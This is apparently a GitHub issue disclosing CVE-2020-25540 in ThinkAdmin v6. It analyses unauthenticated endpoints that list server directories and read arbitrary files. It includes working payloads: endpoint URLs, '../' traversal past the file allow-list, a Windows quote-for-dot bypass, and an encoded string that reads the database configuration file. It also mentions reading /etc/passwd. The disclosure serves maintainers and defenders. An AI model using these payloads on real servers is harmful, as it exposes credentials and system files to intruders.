Headline
CVE-2020-25540: ThinkAdmin v6 未授权列目录/任意文件读取 · Issue #244 · zoujingli/ThinkAdmin
ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrarily file on a remote server via GET request encode parameter.
ThinkAdmin v6 列目录/任意文件读取
app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:
namespace app\admin\controller\api;
use think\admin\Controller; use think\admin\service\InstallService; use think\admin\service\ModuleService;
version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞
URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version
列目录
node():
/** * 读取文件列表 */ public function node() { $this->success('获取文件列表成功!’, InstallService::instance()->getList( json_decode($this->request->post('rules’, '[]', ‘’), true), json_decode($this->request->post('ignore’, '[]', ‘’), true) )); }
直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:
/** * 获取文件信息列表 * @param array $rules 文件规则 * @param array $ignore 忽略规则 * @param array $data 扫描结果列表 * @return array */ public function getList(array $rules, array $ignore = [], array $data = []): array { // 扫描规则文件 foreach ($rules as $key => $rule) { $name = strtr(trim($rule, ‘\\/’), '\\’, ‘/’); $data = array_merge($data, $this->_scanList($this->root . $name)); } // 清除忽略文件 foreach ($data as $key => $item) foreach ($ignore as $ign) { if (stripos($item[‘name’], $ign) === 0) unset($data[$key]); } // 返回文件数据 return [‘rules’ => $rules, ‘ignore’ => $ignore, ‘list’ => $data]; }
$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。
/** * 获取目录文件列表 * @param string $path 待扫描目录 * @param array $data 扫描结果 * @return array */ private function _scanList($path, $data = []): array { foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) { $data[] = $this->_getInfo(strtr($file, '\\’, ‘/’)); } return $data; }
/** * 获取所有PHP文件列表 * @param string $path 扫描目录 * @param array $data 额外数据 * @param string $ext 文件后缀 * @return array */ public function scanDirectory($path, $data = [], $ext = ‘php’) { if (file_exists($path)) if (is_file($path)) $data[] = $path; elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== ‘.’) { $realpath = rtrim($path, ‘\\/’) . DIRECTORY_SEPARATOR . $item; if (is_readable($realpath)) if (is_dir($realpath)) { $data = $this->scanDirectory($realpath, $data, $ext); } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) { $data[] = strtr($realpath, '\\’, ‘/’); } } return $data; }
/** * 获取指定文件信息 * @param string $path 文件路径 * @return array */ private function _getInfo($path): array { return [ ‘name’ => str_replace($this->root, '’, $path), ‘hash’ => md5(preg_replace('/\s+/’, '’, file_get_contents($path))), ]; }
读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node
POST:
也可以使用…/来进行目录穿越
演示站:
任意文件读取
get():
/** * 读取文件内容 */ public function get() { $filename = decode(input('encode’, ‘0’)); if (!ModuleService::instance()->checkAllowDownload($filename)) { $this->error(‘下载的文件不在认证规则中!’); } if (file_exists($realname = $this->app->getRootPath() . $filename)) { $this->success('读取文件内容成功!’, [ ‘content’ => base64_encode(file_get_contents($realname)), ]); } else { $this->error(‘读取文件内容失败!’); } }
首先从GET读取encode参数并使用decode()解码:
/** * 解密 UTF8 字符串 * @param string $content * @return string */ function decode($content) { $chars = '’; foreach (str_split($content, 2) as $char) { $chars .= chr(intval(base_convert($char, 36, 10))); } return iconv('GBK//TRANSLIT’, 'UTF-8’, $chars); }
解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:
/** * 加密 UTF8 字符串 * @param string $content * @return string */ function encode($content) { [$chars, $length] = ['’, strlen($string = iconv('UTF-8’, 'GBK//TRANSLIT’, $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }
跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:
/** * 检查文件是否可下载 * @param string $name 文件名称 * @return boolean */ public function checkAllowDownload($name): bool { // 禁止下载数据库配置文件 if (stripos($name, ‘database.php’) !== false) { return false; } // 检查允许下载的文件规则 foreach ($this->getAllowDownloadRule() as $rule) { if (stripos($name, $rule) !== false) return true; } // 不在允许下载的文件规则 return false; }
首先$name不能够是database.php,接着跟进getAllowDownloadRule():
/** * 获取允许下载的规则 * @return array */ public function getAllowDownloadRule(): array { $data = $this->app->cache->get('moduleAllowRule’, []); if (is_array($data) && count($data) > 0) return $data; $data = ['config’, 'public/static’, 'public/router.php’, ‘public/index.php’]; foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}"; $this->app->cache->set('moduleAllowRule’, $data, 30); return $data; }
有一个允许的列表:
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:
public/static/../../1.txt
而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:
public/static/../../config/database"php
对应encode()后的结果为:
34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34
Windows读取database.php:
演示站读取/etc/passwd:
v5连允许列表都没有,可以直接读任意文件。